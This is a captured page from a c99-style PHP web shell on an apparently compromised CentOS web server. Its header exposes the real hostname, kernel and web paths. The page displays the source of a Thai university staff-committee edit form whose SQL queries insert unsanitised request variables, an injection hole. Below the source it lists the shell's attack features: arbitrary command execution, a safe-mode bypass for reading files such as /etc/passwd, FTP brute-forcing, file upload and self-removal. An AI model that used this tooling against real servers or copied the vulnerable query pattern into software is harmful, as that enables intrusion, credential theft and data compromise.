!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Develop_person_depart/Committee/   drwxr-xr-x
Free 52.34 GB of 127.8 GB (40.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditCommittee.php (8.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user"))
 {
 
$Username $valid_user;
 include(
"../../include/FunctionDB.php");
ConnectDB();
  
$sql ="SELECT * FROM personal_tb WHERE Teacher_code='$Teacher_code'";
  
$result mysql_query($sql) or die("Cannot Select 1").mysql_error();
  
$rs mysql_fetch_array($result);
  
$sql2 ="Select * From committee_tb Where code='$code'";
  
$result2 =mysql_query($sql2) or die("Cannot Select".mysql_error());
  
$row mysql_fetch_array($result2);
  

?>

<html>
<head>
<title>Form Edit</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../../css/style1.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td> <table width="100%" border="0" cellpadding="0" cellspacing="1">
        <tr> 
          <td width="25%" background="../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="CommitByYear.php" class="d">กลับเมนู</a></font></strong></div></td>
          <td width="25%" background="../../Image/bart1.jpg" class="table"> 
            <div align="center"><font size="2" face="Tahoma"><strong><a href="AddCommittee.php?Teacher_code=<? echo  $rs[Teacher_code?>" class="d">เพิ่ม</a></strong></font></div></td>
          <td width="25%" background="../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="FrmEditCommittList.php?Teacher_code=<? echo  $rs[Teacher_code?>" class="d"> 
              แก้ไข</a></font></strong></div></td>
          <td width="25%" background="../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../logout.php" class="d">Logout</a></font></strong></div></td>
        </tr>
      </table></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#EEEEEE">
  <tr bgcolor="#DFEBF9"> 
    <td height="24" colspan="3"> 
      <div align="center"><font color="#000000" size="4" face="Tahoma"><strong><font color="#FF0000">แก้ไข</font> 
        ประวัติการเป็นกรรมการบริการวิชาการแก่สังคม</strong></font></div></td>
  </tr>
  <form name="form1" method="POST" action="Edit.php">
    <tr bgcolor="#FFFFFF"> 
      <td width="26%" height="20"> 
        <div align="center"><font size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
      <td width="2%">&nbsp;</td>
      <td width="72%"><font color="#006633"><font color="#003366" size="2" face="Tahoma"><strong>&nbsp;</strong></font><font color="#003366" size="2" face="Tahoma"><strong><? echo $rs[First_name] ;?></strong></font> 
        <font color="#003366" size="2" face="Tahoma"><strong><? echo $rs[Teacher_name] ;?> 
        &nbsp;<? echo $rs[Teacher_lastname] ;?> </strong></font></font></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td height="26"> 
        <div align="center"><font size="2" face="Tahoma">ชื่อเรื่อง</font></div></td>
      <td>&nbsp;</td>
      <td> 
        <input name="Title" type="text" id="Title" value="<? echo $row[Title]?>" size="40">
      </td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td height="26"> 
        <div align="center"><font size="2" face="Tahoma">ปี 
          พ.ศ</font></div></td>
      <td>&nbsp;</td>
      <td> 
        <input name="Year_com" type="text" id="Year_com" value="<? echo $row[Year_com]?>" size="10"></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td height="26"> 
        <div align="center"><font size="2" face="Tahoma">แยกประเภทตาม 
          สมศ. 5.2 (กค 45)</font></div></td>
      <td>&nbsp;</td>
      <td> 
        <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
          <tr> 
            <td width="23%" height="16" bgcolor="#FBFBFB"> 
              <div align="left"><font size="2" face="Tahoma">วิชาการ</font></div></td>
            <td width="77%" bgcolor="#FBFBFB"><font size="2" face="Tahoma"> 
              <input type="radio" name="Edu"  <?php if (!(strcmp("$row[Edu]","Yes"))) {echo "checked";} ?> value="Yes">
              เป็น 
              <input type="radio" name="Edu" <?php if (!(strcmp("$row[Edu]","No"))) {echo "checked";} ?> value="No">
              ไม่ได้เป็น </font></td>
          </tr>
          <tr> 
            <td bgcolor="#FBFBFB"> 
              <div align="left"><font size="2" face="Tahoma">วิชาชีพ</font></div></td>
            <td bgcolor="#FBFBFB"><font size="2" face="Tahoma"> 
              <input type="radio" name="Edu_job" <?php if (!(strcmp("$row[Edu_job]","Yes"))) {echo "checked";} ?> value="Yes">
              เป็น 
              <input type="radio" name="Edu_job" <?php if (!(strcmp("$row[Edu]","No"))) {echo "checked";} ?> value="No">
              ไม่ได้เป็น </font></td>
          </tr>
          <tr> 
            <td bgcolor="#FBFBFB"> 
              <div align="left"><font size="2" face="Tahoma">วิทยานิพนธ์</font></div></td>
            <td bgcolor="#FBFBFB"><font size="2" face="Tahoma"> 
              <input type="radio" name="Tsis"  <?php if (!(strcmp("$row[Tsis]","Yes"))) {echo "checked";} ?> value="Yes">
              เป็น 
              <input type="radio" name="Tsis" <?php if (!(strcmp("$row[Tsis]","No"))) {echo "checked";} ?> value="No">
              ไม่ได้เป็น </font></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td height="46"> 
        <div align="center"><font size="2" face="Tahoma">แยกประเภทตามการเป็นกรรมการ</font> 
          <font size="2" face="Tahoma">ให้บริการวิชาการอื่นฯ</font><br>
        </div></td>
      <td>&nbsp;</td>
      <td> 
        <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
          <tr> 
            <td bgcolor="#FBFBFB"><font size="2" face="Tahoma">ตรวจเครื่องมือ</font></td>
            <td bgcolor="#FBFBFB"><font size="2" face="Tahoma"> 
              <input type="radio" name="Check_tool" <?php if (!(strcmp("$row[Check_tool]","Yes"))) {echo "checked";} ?> value="Yes">
              เป็น 
              <input type="radio" name="Check_tool" <?php if (!(strcmp("$row[Check_tool]","No"))) {echo "checked";} ?> value="No">
              ไม่ได้เป็น </font></td>
          </tr>
          <tr> 
            <td bgcolor="#FBFBFB"><font size="2" face="Tahoma">คปสข.10</font></td>
            <td bgcolor="#FBFBFB"><font size="2" face="Tahoma"> 
              <input type="radio" name="Scp10"  <?php if (!(strcmp("$row[Scp10]","Yes"))) {echo "checked";} ?> value="Yes">
              เป็น 
              <input type="radio" name="Scp10" <?php if (!(strcmp("$row[Scp10]","No"))) {echo "checked";} ?> value="No">
              ไม่ได้เป็น </font></td>
          </tr>
          <tr> 
            <td width="23%" bgcolor="#FBFBFB"> 
              <div align="left"><font size="2" face="Tahoma">ชมรม 
                พยบ. </font></div></td>
            <td width="77%" bgcolor="#FBFBFB"><font size="2" face="Tahoma"> 
              <input type="radio" name="Club_bcnlp"  <?php if (!(strcmp("$row[Club_bcnlp]","Yes"))) {echo "checked";} ?>  value="Yes">
              เป็น 
              <input type="radio" name="Club_bcnlp" <?php if (!(strcmp("$row[Club_bcnlp]","No"))) {echo "checked";} ?>  value="No">
              ไม่ได้เป็น </font></td>
          </tr>
          <tr> 
            <td bgcolor="#FBFBFB"> 
              <div align="left"><font size="2" face="Tahoma">เครือข่าย 
                ว. ภาคเหนือ</font></div></td>
            <td bgcolor="#FBFBFB"><font size="2" face="Tahoma"> 
              <input type="radio" name="North_network"  <?php if (!(strcmp("$row[North_network]","Yes"))) {echo "checked";} ?> value="Yes">
              เป็น 
              <input type="radio" name="North_network" <?php if (!(strcmp("$row[North_network]","No"))) {echo "checked";} ?>  value="No">
              ไม่ได้เป็น </font></td>
          </tr>
          <tr> 
            <td bgcolor="#FBFBFB"> 
              <div align="left"><font size="2" face="Tahoma">การเป็นกรรมการ 
                อื่นๆ</font></div></td>
            <td bgcolor="#FBFBFB"><font size="2" face="Tahoma"> 
              <input type="radio" name="Else_commit"  <?php if (!(strcmp("$row[Else_commit]","Yes"))) {echo "checked";} ?> value="Yes">
              เป็น 
              <input type="radio" name="Else_commit" <?php if (!(strcmp("$row[Else_commit]","No"))) {echo "checked";} ?> value="No">
              ไม่ได้เป็น </font></td>
          </tr>
        </table></td>
    </tr>
    <tr> 
      <td colspan="3" bgcolor="#DFEBF9"> 
        <div align="center">
          <input type="hidden" name="Teacher_code" value="<? echo $row[Teacher_code]?>">
          <input type="hidden" name="code" value="<? echo $row[code]?>">
          <input type="submit" name="Submit" value=" บันทึก " class="button">
        </div></td>
    </tr>
  </form>
</table>
<p>&nbsp;</p></body>
</html>
<?php
CloseDB
();
?>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../../Login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]--